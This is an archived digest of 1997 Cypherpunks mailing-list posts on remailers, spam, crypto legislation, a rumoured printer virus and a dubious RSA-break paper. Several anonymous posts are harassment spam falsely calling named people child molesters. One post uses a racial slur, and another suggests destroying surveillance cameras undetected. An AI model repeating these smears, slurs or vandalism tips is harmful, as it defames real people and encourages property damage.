From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 04:08:35 +0800
Subject: Printers are munitions?
In-Reply-To: 
Message-ID: 


At 11:19 AM -0800 5/13/97, Ryan Anderson wrote:
>On Tue, 13 May 1997, Tim May wrote:
>
>> As for transmitters in printers, this sounds like a variant. Plus, I
>> wouldn't think there was enough time between the start of the buildup of
>> the U.S. response and the air attacks for the plan to be hatched, for the
>> Iraqis to place and receive orders, etc. And the chance of some random
>> printer ending up in an air defense station seems unlikely. And so on.
>
>Besides the fact that the US wasn't exporting anything to IRAQ at the
>time, along with most of the rest of the western world, where would they
>have bought printers from?

Well, of course the U.S. wasn't shipping to Iraq at this time. I didn't
even cite this as a reason because the embargo began in August of 1990.

The original Infoworld story cited Jordan (if I remember correctly) as the
place the printers had the viruses placed in them, to make the story sound
more plausible.

I do believe the U.S. has used information warfare methods, of course. Lots
of examples, including Inslaw and Systematics, etc.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jya at pipeline.com  Tue May 13 13:10:54 1997
From: jya at pipeline.com (John Young)
Date: Wed, 14 May 1997 04:10:54 +0800
Subject: Public Key Break Paper
Message-ID: <1.5.4.32.19970513194224.00928884@pop.pipeline.com>


In early April we posted a message which referred to
William H. Payne's paper "Public Key Cryptography is
Easy to Break."

Mr. Payne has provided the 1990 5-page draft paper 
along with other documents, which we've added to the file
at:

   http://jya.com/snlhit.htm

The paper is part of several attachments supporting
Mr. Payne's charge against Sandia National Laboratory. 
Other documents in the file help explain why the paper 
is sensitive to SNL and perhaps to NSA.







From spectre at nac.net  Tue May 13 13:25:56 1997
From: spectre at nac.net (The Spectre)
Date: Wed, 14 May 1997 04:25:56 +0800
Subject: [STEGO] Secure envelopes
Message-ID: <19571593902558@nac.net>


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Tue May 13 16:01:35 1997

> On Tue, 13 May 1997, The Spectre wrote:
> 
> I suggest that nobody do this, as this will filter out anonymous mail
> from these remailers.  You do, of course, have the right to filter out
> whomever you want, but there are worthwhile anonymous contributions
> from these remailers.  I personally don't see what the big deal is
> with these ascii-art messages.  95% of the time, these messages are
> very easy to spot, and the remaining 5%, it takes two seconds to hit
> the "delete" key.
hmmmm.. Go figure out how many years of your life you'll waste doing that 
once you calculate how many of these messages arrive each hour, let alone 
each day.  I, personally, have been on this mailing list for a while now, 
and have never seen *any* worthwhile posts from either of those remailers, 
or any other for that matter.  If you've got something to say, say it.  
Anything less is cowardice, in one form or another.

Or, if you like, I'll remove my spam filter and you can come hit my delete 
key for me... 


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=tS4W
- -----END PGP PUBLIC KEY BLOCK-----

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-----END PGP SIGNATURE-----






From lucifer at dhp.com  Tue May 13 13:49:43 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 04:49:43 +0800
Subject: [Announce] PGP
Message-ID: <199705132035.QAA03170@dhp.com>


Given Dr. Dimitri Vulis Spam's propensity to molest 
little boys, and hamsters is it any surprise that the 
state of New York wants to have him castrated?
 
             ,,,
          (o-o)
  -ooO-(_)-Ooo- Dr. Dimitri Vulis Spam.






From lucifer at dhp.com  Tue May 13 14:01:47 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 05:01:47 +0800
Subject: [Stego] Vulis
Message-ID: <199705132042.QAA03538@dhp.com>



Dr. Demi Vulvis, child molester, carries a turd in his wallet for 
identification purposes.
 
       _ at _
       /   \
      | o o |
-U|--U--|U-- Dr. Demi Vulvis (proctologist, not cryptologist)






From bennett_t1 at popmail.firn.edu  Tue May 13 14:01:50 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Wed, 14 May 1997 05:01:50 +0800
Subject: Enough of this shit already!
In-Reply-To: 
Message-ID: <3378E1A5.282B@popmail.firn.edu>


Ray Arachelian wrote:
> 
> On Tue, 13 May 1997, The Spectre wrote:
> 
> > To: cypherpunks at toad.com
> > Date: Tue May 13 09:55:34 1997
> >
> > > Dimi (Closet Homo) isa pimply old dweeb sitting at a  Xenix 286
> > > computer masturbating at his own imagined cleverness.
> > >
> >
> > This is the down side to anonymous remailers.. I think if you don't have
> > the balls to say something, don't say it.
> >
> > Obviously, someone is saying something they don't wan't other people to
> > think they think..
> >
> > I am, obviously, tired of adding filters to my mailbox.  Please knock off
> > this bullshit.  I think whoever posted this is a pimply young asshole
> > sitting on a c64 attempting to masturbate himself but can't find a
> > microscope with high enough magnification.
> 
> Agreed.  While I will restrain my oppinions of our unfriendly KOTM with a
> doctorate from the KGB, I'm tired of these spams.  Yes, they include the
> ones that IMHO come from Vulis, the ones to which Graham replies, the
> anonymous ones that reply to Graham, the permutations of them that
> spam Toto, and these.  :(
> 
> If you want to rag on Tim or Vulis, please do so, but not by setting up
> spam bots.  Granted some of those are funny the first time you see them,
> but automating them makes them as welcome as listening to an annoying fly
> buzzing over and over in your face.
> 
> Hell, the nice bomb making spam too is also a bitch being posted here.
> One could give the poster the benefit of the doubt, but it smells quite
> of the tactics used by the Postal fiends that mail child porno to an
> unsuspecting citizen unit, then arrest that citizen unit upon receipt.
> Lets not give the evil onesof the government more horsemen to ride over
> us. :(  A url to the stuff and a summary would have sufficed.  (And I'll
> restrain myself from saying that this was done by Vulis, though IMHO, it
> smells of his style of spam. :)
Right on.  It's nice, and cute the first and second time around,
afterwards, it just get's really annoying.






From stutz at dsl.org  Tue May 13 14:26:03 1997
From: stutz at dsl.org (Michael Stutz)
Date: Wed, 14 May 1997 05:26:03 +0800
Subject: Printers are munitions?
In-Reply-To: <3378A3E5.41C6@hsct22.ca.boeing.com>
Message-ID: 


On Tue, 13 May 1997, Sidney R. Phillips wrote:

> One thing which caught my attention however, was a claim by
> Win Schwartau (of inforwar fame) that NSA had placed narrow band
> transmitters in printers which wound up in air defense sites in Iraq.
> Subsequently the transmissions were used for targeting durring the gulf
> war.  Has anyone heard of a separate source for this?

_2600 Magazine_ had an article about this a few years back, called "Gulf War
Printer Virus," I believe. I think in that version of the story, it wasn't a
narrow band xmitter but a virus that affected a computer connected to the
printer's parallel port, infecting itself via the sole pin ("out of paper" i
think it said) on the port that xmitted from printer to computer rather than
the normal other way around. As to whether or not this virus was of the
computer or media variety, however, remains to be seen.

m






From nobody at huge.cajones.com  Tue May 13 14:29:38 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 05:29:38 +0800
Subject: Digital signatures
Message-ID: <199705132107.OAA06781@fat.doobie.com>


Date: Tue, 13 May 1997
From: Graham-John Bullers 
Cc: cypherpunks at toad.com
Subject: Re: Digital signatures
Sender: owner-cypherpunks at toad.com

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's family tree goes straight up. All of his ancestors 
> were siblings, to dumb to recognize Graham-John Bullers in the dark.
> 
>         _  o
>        |<)_/# Timmy May
>        TT   

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

 






From bennett_t1 at popmail.firn.edu  Tue May 13 14:33:47 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Wed, 14 May 1997 05:33:47 +0800
Subject: Would the anonymous person(s) please...
Message-ID: <3378E8E5.1B6B@popmail.firn.edu>


Would all those anonymous remailing people with a flame tendency, please
flame the person of your attacks, and don't send this bullshit to the
list?  Thanks...






From tcmay at got.net  Tue May 13 14:38:55 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 05:38:55 +0800
Subject: Spectre disapproves of remailers and anonmyity
In-Reply-To: <19571593902558@nac.net>
Message-ID: 


At 11:57 AM -0800 5/13/97, The Spectre wrote:

>hmmmm.. Go figure out how many years of your life you'll waste doing that
>once you calculate how many of these messages arrive each hour, let alone
>each day.  I, personally, have been on this mailing list for a while now,
>and have never seen *any* worthwhile posts from either of those remailers,
>or any other for that matter.  If you've got something to say, say it.
>Anything less is cowardice, in one form or another.

Nonsense. People use remailers for all sorts of reasons.

(Speaking for myself, and trying to be careful to not implicate myself in
further felonies, I've used the available remailers to post liberated
information of various sorts. Go back and check the archives. You'll find
that "Dumpster divings" of information from corporate conspirators (a la
Cylink, Mykotronx) was posted through anonymous remailers. Who would argue
that the cause of liberty would be better served by posting these items
under one's own name, where the Corporate State could then file lawsuits,
order midnight raids, etc.?)

As for the time to delete the Vulis spam, you must be innumerate.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From hal at rain.org  Tue May 13 14:44:16 1997
From: hal at rain.org (Hal Finney)
Date: Wed, 14 May 1997 05:44:16 +0800
Subject: Public Key Break Paper
Message-ID: <199705132120.OAA30804@crypt.hfinney.com>


John Young, , writes:
> In early April we posted a message which referred to
> William H. Payne's paper "Public Key Cryptography is
> Easy to Break."
>
> Mr. Payne has provided the 1990 5-page draft paper 
> along with other documents, which we've added to the file
> at:
>
>    http://jya.com/snlhit.htm
>
> The paper is part of several attachments supporting
> Mr. Payne's charge against Sandia National Laboratory. 
> Other documents in the file help explain why the paper 
> is sensitive to SNL and perhaps to NSA.

I was curious to see this paper, since it would be an earth-shattering
result if true, but unsurprisingly it is not as amazing as it sounds.

First, it is not a general attack on public key cryptography, but
rather it is a specific method for attacking RSA.

Second, I remember seeing this algorithm discussed on sci.crypt in the
past, probably in 1996.  I don't know if it came from this same guy
or if somebody else (re)discovered it.  But the discussion there indicated
that the algorithm was not as efficient as claimed.  The claim is that
it takes an amount of work proportional to the number of bits in the
modulus, which would indeed be a breakthrough.  Actually I think it will
take about (2^n)/n iterations, making it a very poor method (*).

Third, it claims to break RSA without factoring, but actually the algorithm
could be used to factor n.  The algorithm gives you (p-1)(q-1) or a
large factor thereof, and as discussed on sci.crypt a few months ago,
this is enough to let you find p and q (through a tricky method whose
details I don't remember!).

Hal

(*) The final string of 1's will be as long as the value of the phi(n)
factor being found, which will be on the order of 2^n, so there will
be about 2^n 1's in the final string, more than there are atoms in the
universe for numbers of interest.  (You don't have to store the whole
string though.)  Each iteration adds at most n bits to the string, so
the number of iterations must be as above.






From nobody at squirrel.owl.de  Tue May 13 15:05:54 1997
From: nobody at squirrel.owl.de (Secret Squirrel)
Date: Wed, 14 May 1997 06:05:54 +0800
Subject: No Subject
Message-ID: <19970513211124.83.qmail@squirrel.owl.de>


Date: Mon, 12 May 1997
From: Graham-John Bullers 
Subject: Re: PGP
Sender: owner-cypherpunks at cyberpass.net
Reply-To: Graham-John Bullers 

I think Vulis needs each of us to send ten copies of this back to
him.

On Mon, 12 May 1997, Huge Cajones Remailer wrote:

> Given Timmy C[retin] May's propensity to molest 
> little children, is it any surprise that 
> Graham-John Bullers wants to have him castrated?
> 
>        ,,,
>       (o-o)
>   -ooO-(_)-Ooo- Timmy C[retin] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From mix at earth.wazoo.com  Tue May 13 15:25:36 1997
From: mix at earth.wazoo.com (Wazoo MixMaster)
Date: Wed, 14 May 1997 06:25:36 +0800
Subject: [STEGO] Secure envelopes
Message-ID: <199705131436.OAA10591@earth.wazoo.com>


The Spectre, writing under an anonymous name bravely wrote:

From: The Spectre 
To: cypherpunks at toad.com
Subject: Re: [STEGO] Secure envelopes
Date: Tue, 13 May 1997 15:57:15 -0400

[snip]

hmmmm.. Go figure out how many years of your life you'll waste doing that 
once you calculate how many of these messages arrive each hour, let alone 
each day.  I, personally, have been on this mailing list for a while now, 
and have never seen *any* worthwhile posts from either of those remailers, 
or any other for that matter.  If you've got something to say, say it.  
Anything less is cowardice, in one form or another.

Or, if you like, I'll remove my spam filter and you can come hit my delete key for me... 


[snip his cowardly key block]

[snip his cowardly anonymous signature]

Let me get this straight Mr. Cowardly Lion; if one uses a remailer, he is cowardly (in one form or another). But not an anonymous address? Not PGP?

Wise up, friend; this is cypherpunks. Some of us DO these things, and we do not have to explain ourselves to you or or anyone. Some times it's for fun; sometimes it's deadly serious.

So use the delete key; add a "filter file (;--);" do whatever you choose, but spare me the sanctimonious lecture.

Hugh_Balls at lucifer.penet.fi

TruthSmuggler's Alter Ego 






From sunder at brainlink.com  Tue May 13 16:06:39 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 14 May 1997 07:06:39 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: 


On Fri, 9 May 1997, Tim May wrote:

> Much as it pains me to dispute my usual ideological ally Ray A., the "they
> should honor your request" is problematic.

To elaborate:

Point is that in every one of their posts that I've gotten they have a 
"send email to this address with subject cancel" only it doesn't do 
shit.   They place something that makes it look like they will not spam 
you if you ask them not to, but they do anyway.

> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"
> 
> So?

Yeah, they use the "cancel" messages to send you more spam instead of 
shutting off all spam.  This is called false advertising, no?

If you want to take it further in to the land of the creatures of theory, 
who owns your email?  Do you?  If so, by right of ownership can you 
decide who isn't to send you email?  You can certainly achieve this by 
filters.  If the spamming scum says "I will stop if you ask me to" and 
you ask him to stop, but he doesn't, what rights have you got against 
him?  What if he is using your email for commercial purposes without your 
consent? etc.....

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Tue May 13 16:09:52 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 14 May 1997 07:09:52 +0800
Subject: Camera Hacking
In-Reply-To: 
Message-ID: 


On Fri, 9 May 1997, Brian C. Lane wrote:

> On Thu, 1 May 1997, geeman wrote:
> 
> > have an effect on people's behavior with respect to what they say, whom
> > they associate with, 
> > the clothes they wear, the thoughts they think...
> > 
> > How do you hack a camera?
> 
>   Splatball (paintball) gun should do the trick.

I suppose if you make it expensive enough by damaging enough cameras, 
and any replacements, they will go away (or be better hidden).  The trick 
is to do this without being caught. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From tcmay at got.net  Tue May 13 16:34:04 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 07:34:04 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: 


At 2:54 PM -0800 5/13/97, Ray Arachelian wrote:

>Point is that in every one of their posts that I've gotten they have a
>"send email to this address with subject cancel" only it doesn't do
>shit.   They place something that makes it look like they will not spam
>you if you ask them not to, but they do anyway.

So?

>Yeah, they use the "cancel" messages to send you more spam instead of
>shutting off all spam.  This is called false advertising, no?

I don't believe in the concept of "false advertising." All advertising is
an attempt in persuasion. Sometimes founded in truth, sometimes in a wish
to believe, sometimes in outright deception. So?

(If "false advertising" were a true crime, most of the world's religions
would surely be shut down.)


>If you want to take it further in to the land of the creatures of theory,
>who owns your email?  Do you?  If so, by right of ownership can you
>decide who isn't to send you email?  You can certainly achieve this by
>filters.  If the spamming scum says "I will stop if you ask me to" and
>you ask him to stop, but he doesn't, what rights have you got against
>him?  What if he is using your email for commercial purposes without your
>consent? etc.....

Look to contract law for your answer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Tue May 13 16:53:26 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 May 1997 07:53:26 +0800
Subject: KKK derails crypto bill, report from House Judiciary...
Message-ID: 


The Net's crypto wet-dreams were demolished this afternoon by a
Congressional committee's fear of coffee-drenched kids and the Ku
Klux Klan.

A two-hour debate over whether KKK volunteers could be sued for
spilling coffee on an 8-year old at a bake sale blew through
millions of dollars in billable lobbyist-hours and prevented the
House Judiciary Committee from voting on Rep. Bob Goodlatte's
(R-VA) SAFE crypto bill today.

Somnolent yet somehow alert, Rep. John Conyers (D-Mich) wasted an
hour sparring with the avuncular Rep. Henry Hyde (R-Illinois) over
the "Volunteer Protection Act," which insulates people volunteering
for nonprofit organizations from civil liability.

But would that apply to the KKK, wondered Conyers? Is the KKK a
registered 501(c)(3) organization under the IRS code? What about
501(c)(4) organizations? What if a KKK member decided to build houses
for Habitat for Humanity?

I kid you not: these are the questions that the august House
Judiciary committee grapples with. The members ran out of time
and never got around to voting on SAFE.

It was a bizzare meeting, to be sure, but at least one point made
sense: these decisions should be left to the states, not imposed on
them by the Feds. Some Congressmen even cited the landmark Supreme
Court decision in _Lopez_, which shortened the reach of the Federal
government. Conyers: "Someone has to explain why this is a federal
issue." Rep. Jerrold Nadler (D-NY): "I don't see why it's necessary
for the federal government to invade."

Rep. Barney Frank (D-Mass) coughed up an odd position: he likes the
bill, but wants to make sure his GOP colleagues appreciate that
this bill would screw the states. (It uses the Constitution's
"interstate commerce clause" to justify the Feds interfering.)
Frank said: "The notion that the coach of the Little League is
involved in interstate commerce -- unless the third baseline is in
another state -- strikes me as a hard sell. A dispute involving the
coach in a little league will now be federalized... I don't have a
problem with that... I do insist, however, that those in the past
who have invoked [states' rights understand that] this is an
obliteration of Lopez."

Those were the high points of the debate, and it went downhill from
there. Frank claimed that the Civil War meant that states have no
rights. Someone rambled about girl scouts in South Carolina.
Someone else spoke passionately about "standards of tortious
behavior." Then there was talk about tricyles and hammers.

By this time, the audience was falling asleep. I counted 10 people
nodding off before I ran out of fingers.

A frustrated Hyde tried to broker a deal: "If your staff person can
work with your staff person, can you draft replacement language?"
Conyers replied. "We're trying to help chairman Hyde. We've got 12
minutes [left]. There's no way in the world we're going to allow
hate group hangers-on to be exempted from simple negligence."

It worked. By 5:15 pm, after a dozen amendments, the committee
passed the "Volunteer Protection Act." As for SAFE -- well, if
you're a Congressman faced with the choice of bashing the KKK or
tackling crypto policy, what would you do?

-By Declan McCullagh (declan at well.com) and Will Rodger
(rodger at worldnet.att.net), who refuses to wear a tie to these
events any more.







From declan at well.com  Tue May 13 17:30:04 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 May 1997 08:30:04 +0800
Subject: Canada bans anonymous political speech, from The Netly News
Message-ID: 


*********

http://pathfinder.com/netly/editorial/0,1012,940,00.html

The Netly News Network
May 13, 1997

No, Canada
by Declan McCullagh (declan at well.com)

     Krishna Bera wasn't surprised when the order from
the Canadian government arrived last Friday. It was
couched in the stilted language of universal
bureaucratese, but its message was cold and clear:
Purge a political endorsement from your web site or go
to jail.

     Bera's offending web page had said simply, "Vote
Green." It didn't exhort its readers to commit a
crime. It wasn't libelous or defamatory. It didn't
even feature any porn. Yet the pro-Green Party
statement was enough to draw the ire of the
commissioner of elections, for Canada has a rule,
buried in the 187-page Elections Act, that prohibits
anonymous political recommendations. And Bera's web
page was unsigned.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From whgiii at amaranth.com  Tue May 13 17:57:53 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 14 May 1997 08:57:53 +0800
Subject: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: 
Message-ID: <199705140035.TAA10601@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/13/97 at 05:32 PM,
   Declan McCullagh  said:


>The Net's crypto wet-dreams were demolished this afternoon by a
>Congressional committee's fear of coffee-drenched kids and the Ku Klux
>Klan.

[Discription of a typical day in congress sniped]


>It worked. By 5:15 pm, after a dozen amendments, the committee passed the
>"Volunteer Protection Act." As for SAFE -- well, if you're a Congressman
>faced with the choice of bashing the KKK or tackling crypto policy, what
>would you do?

I personaly think that this is a good thing. :)))

Every bill that *is not* passed by congress is just that much more freedom
that is saved. If all the bills passed by congress over the past 100yrs.
could all be repealed no one would miss them in the least (well no one
except the STATEST). 

SAFE was a bad ideal as any law regulating crypto. I do not need DC's
permision to exercise my 1st Admendment rights any more than I need their
permision to exercise any of my rights.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: MASOCHIST: Windows SDK programmer with a smile!

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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=QUcl
-----END PGP SIGNATURE-----






From ravage at EINSTEIN.ssz.com  Tue May 13 18:08:50 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 May 1997 09:08:50 +0800
Subject: KKK derails crypto bill, report from House Judiciary... (fwd)
Message-ID: <199705140015.TAA23269@einstein.ssz.com>


Forwarded message:

> From: "William H. Geiger III" 
> Date: Tue, 13 May 97 19:23:46 -0500
> Subject: Re: KKK derails crypto bill, report from House Judiciary...

> I personaly think that this is a good thing. :)))
> 
> Every bill that *is not* passed by congress is just that much more freedom
> that is saved. If all the bills passed by congress over the past 100yrs.
> could all be repealed no one would miss them in the least (well no one
> except the STATEST). 

Yeah,

Blacks could go back to being niggers.
Women could go back to being barefoot and pregnant
etc...

Talk about statest.

                                                      Jim Choate
                                                      CyberTects
                                                      ravage at ssz.com






From vznuri at netcom.com  Tue May 13 18:09:15 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 14 May 1997 09:09:15 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <199705140045.RAA09717@netcom11.netcom.com>



DF:
>
>Most of the violence in interactions between people and governments is on the
>government side.  The U.S. government and others have been committing mass
>murder for years.  Supporters of those governments thus support mass murder
>for "political ends."
>
>Governments have murdered 170 million people since 1900.  My
>back-of-the-envelope estimate is that the civilians of the world have only
>murdered about 20 million people in the same period of time.  Quite a
>disparity.

therefore, it is ok for civilians to murder government officials, 
or engage in any other damaging conduct.
CED (cypherpunk QED) endorsed by TCM, Bell, etc. ad nauseum






From ravage at EINSTEIN.ssz.com  Tue May 13 18:11:28 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 May 1997 09:11:28 +0800
Subject: "The policeman inside" (fwd)
Message-ID: <199705140013.TAA23211@einstein.ssz.com>


Forwarded message:

> From: "Ross Wright" 
> Date: Tue, 13 May 1997 17:41:52 -0700
> Subject: Re: "The policeman inside"

> Hey, *They* read this list anyways.  Fuck *Them* Hard.
>  
> > Beware the policeman inside.
> 
> Fuck the FBI, Fuck the CIA.  Fuck 'em all.  Now that's freedom!  God, 
> I love America!  

That isn't freedom, its emotional gratification. Freedom would be not having
to worry about them in the first place.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage at ssz.com






From whgiii at NO.amaranth.com.SPAM  Tue May 13 18:12:09 1997
From: whgiii at NO.amaranth.com.SPAM (whgiii at NO.amaranth.com.SPAM)
Date: Wed, 14 May 1997 09:12:09 +0800
Subject: Cypherpunks meeting in SE
Message-ID: <199705140048.TAA10792@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


Hi,

I am intrested in setting up a cypherpunks meeting in the South East USA. I
think that Atlanta would be a good place for this but I am open to other
locations. I am located in FL so I would like to keep it within a days
drive (Atlanta is 4-5 hrs from me). 

If you would be intrested in such a meeting please e-mail me and let me
know when you would be able to attend and where you are located.

If I can get enough people intrested I would like this to be a monthly
thing simmilar to the meetings on the West Coast.

Thanks,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

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voyNIKPZ2ko=
=mWRj
-----END PGP SIGNATURE-----






From markm at voicenet.com  Tue May 13 18:12:11 1997
From: markm at voicenet.com (Mark M.)
Date: Wed, 14 May 1997 09:12:11 +0800
Subject: Anonymity and cowardice
In-Reply-To: <19571593902558@nac.net>
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 13 May 1997, The Spectre wrote:

> hmmmm.. Go figure out how many years of your life you'll waste doing that
> once you calculate how many of these messages arrive each hour, let alone
> each day.

The time per year it takes for me to delete all these messages is about the
same as the amount of time it took me to reply to your previous message
plus the amount of time it will now take me to compose this reply.  All
back of the envelope, of course.

> I, personally, have been on this mailing list for a while now,
> and have never seen *any* worthwhile posts from either of those remailers,
> or any other for that matter.

I've been on this list for 18 months and have seen plenty of worthwhile
posts from remailers.  You're entitled to your opinion, but I strongly
disagree.

> If you've got something to say, say it.
> Anything less is cowardice, in one form or another.

So you're calling John Jay, James Madison, and Alexander Hamilton cowards
(anonymous authors of the Federalist Papers)?  Many others have also used
anonymity to further the cause of liberty.  I doubt your real name is
"The Spectre" yet that is the name under which you are posting.  Are you
calling yourself a coward?



Mark
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ihjXfMYm3JHXA/cLC6/XCbiq5Q7Ft1pGN07oXfC/0vHEOzZv7QcBx7jdZKkWbklU
tbURkxDxRFl4DKr5GG4aTH8AifLKP3/YR/O7Lf6Q3Zpkz+B5TmLbkaHRTM0eorJu
U/ywMkfWJpYx9C0rgLL3HZu5ZvU8z/d90n55oFFKVVShIYA0pSwukcyb5y5WAr7+
VrlxYoPR6CPsv/xHcyhNA8KVVx1ixrm8NGQbNtg/hCapZbPHQXA6pQ==
=5c4k
-----END PGP SIGNATURE-----






From rwright at adnetsol.com  Tue May 13 18:20:21 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Wed, 14 May 1997 09:20:21 +0800
Subject: "The policeman inside"
Message-ID: <199705140042.RAA21706@adnetsol.adnetsol.com>


On or About 13 May 97 at 9:19, Tim May wrote:

> As ur-cyberpunk Burroughs noted, we must beware "the policeman
> inside."
> 
> Authorities _want_ people to "police themselves," to think twice
> before speaking freely, to limit the topic of their conversations,
> and to generally fear the knock on the door late at night (or, in
> fin de siecle Amerika, the suddent appearance of black-clad ninja in
> one's bedroom at 4 a.m., shooting anything that moves).

Hey, that shit scares me, too.  BUT:
 
> Bomb-making information is protected by the First Amendment. Period.

Correct.  It's using that technology that's the crime, in most cases.
 
> So is crypto information. So is saying Congressmen are vermin who
> need to be taken out and shot.

I think you can say "taken out and Spanked Naked In The Streets" I 
don't think you can advocate shooting them...  Correct me if I'm 
wrong.
 
> Get this straight, people!

The  First Amendment *IS* still in force.
 
> (Now whether such opinions are to one's taste, or whether the
> Cypherpunks list is a reasonable forum for posting bomb-making
> plans...well, that's a completely different issue, one of taste and
> appropriateness,

First Amendment issues are *on topic*.

> than the calls by Declan and Ray that such messages
